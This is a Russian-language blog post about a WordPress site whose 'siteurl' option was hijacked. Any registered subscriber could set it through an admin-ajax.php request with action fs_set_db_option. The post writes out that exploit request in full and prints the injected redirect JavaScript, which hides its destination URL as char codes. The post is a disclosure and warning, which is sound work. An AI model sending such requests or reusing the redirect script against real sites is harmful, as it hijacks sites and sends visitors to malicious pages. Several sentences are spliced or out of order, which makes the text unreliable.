Хабрахабр

[Из песочницы] Критическая уязвимость в admin-ajax.php

На прошлой неделе столкнулся с крайне неприятным фактом. Зайдя на свой сайт, обнаружил, что он переадресовывает меня на неведомый мне ресурс, на который крайне сильно ругается антивирус Dr. Web

1 Сайт работает на WordPress актуальной версии 5.

Плагины только из официального репозитория, тема тоже.
Незамедлительно был скачан бэкап сайта, просканирован антивирусным ПО (Dr. Все выходящие обновления для движка, плагина и темы устанавливаются вовремя. Web, Kaspersky, AI-BOLIT) – но результатов никаких не было, все чисто.

Собственно на него и была переадресация. Были проверены вручную файлы темы и некоторых плагинов, но снова не было результата.
При проверке дампа базы в таблице «wp_options» в параметре «siteurl» — таился чужой URL.

Происходило это по принципу: при загрузке страницы параметр «siteurl» подставлялся во все

<script type='text/javascript' src='ЧУЖОЙ URL ВМЕСТО РОДНОГО'></script>

При этом происходила подгрузка вот такого скрипта:

var x = getCookie('pp000001'); if (x) else { setCookie('pp000002','1',1); var sdfgdfg = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 112, 117, 115, 104, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107);document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } } else { setCookie('pp000001','1',1); var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } function setCookie(name,value,days) { var expires = ""; if (days) { var date = new Date(); date.setTime(date.getTime() + (days*8*60*60*1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = name + "=" + (value || "") + expires + "; path=/"; } function getCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function eraseCookie(name) { document.cookie = name+'=; Max-Age=-99999999;'; }

Сменив URL на нужный, все заработало снова, но на следующий день при проверке я снова увидел как Dr. Как чужой URL попал в базу, осталось загадкой. В базе снова был изменён этот параметр. Web ругается на переадресованную страницу.

Ошибок не оказалось, а вот в логах доступа нашелся крайне интересный запрос к сайту: После этого были скачаны свежие логи доступа к сайту и логи ошибок.

/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=siteurl&option_value=ВРЕДНЫЙ URL

Снова исправив настройки и проверив, что все работает, попробовал повторить данный запрос на сайте, но ничего не получилось. Настройка в базе не сменилась.

Надо отметить, что на сайте открыта регистрация и пользователи получают роли «Подписчика», доступ до административной части полностью закрыт.

Была предпринята попытка зарегистрировать нового пользователя, авторизоваться и после чего данный запрос к сайту сработал, настройка в базе изменилась.

В итоге получается, что если на сайте открыта регистрация пользователей, даже с ролью «Подписчик» и закрыт доступ до админки, все равно этот запрос срабатывает.

Проверено было еще на другом сайте, предварительно выключив все плагин и установив тему по умолчанию – результат такой же.

Как бороться, кроме как выключить регистрацию и удалить подозрительных пользователей – решения пока не нашел.

S.: погуглив запрос, были найдены зараженные сайты, будьте внимательны. P.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть